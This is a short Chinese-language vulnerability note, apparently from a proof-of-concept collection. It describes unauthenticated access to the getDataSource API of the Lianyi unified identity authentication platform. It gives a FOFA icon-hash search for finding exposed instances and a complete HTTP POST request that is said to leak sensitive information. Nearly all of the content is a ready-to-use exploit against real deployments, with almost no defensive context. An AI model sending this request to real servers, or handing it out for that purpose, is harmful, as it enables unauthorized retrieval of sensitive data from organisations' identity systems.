25 lines
660 B
Markdown
25 lines
660 B
Markdown
## 联奕统一身份认证平台getDataSource存在信息泄露漏洞
|
|
|
|
联奕统一身份认证平台getDataSource 未授权访问,攻击者可通过此漏洞获取敏感信息。
|
|
|
|
## fofa
|
|
|
|
```yaml
|
|
icon_hash="772658742"
|
|
```
|
|
|
|
## poc
|
|
|
|
```yaml
|
|
POST /api/bd-mdp/serviceManager/outInterface/getDataSource HTTP/1.1
|
|
Host:
|
|
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
|
|
Transfer-Encoding: chunked
|
|
Accept-Charset: utf-8
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
|
|
0
|
|
```
|
|
|
|
 |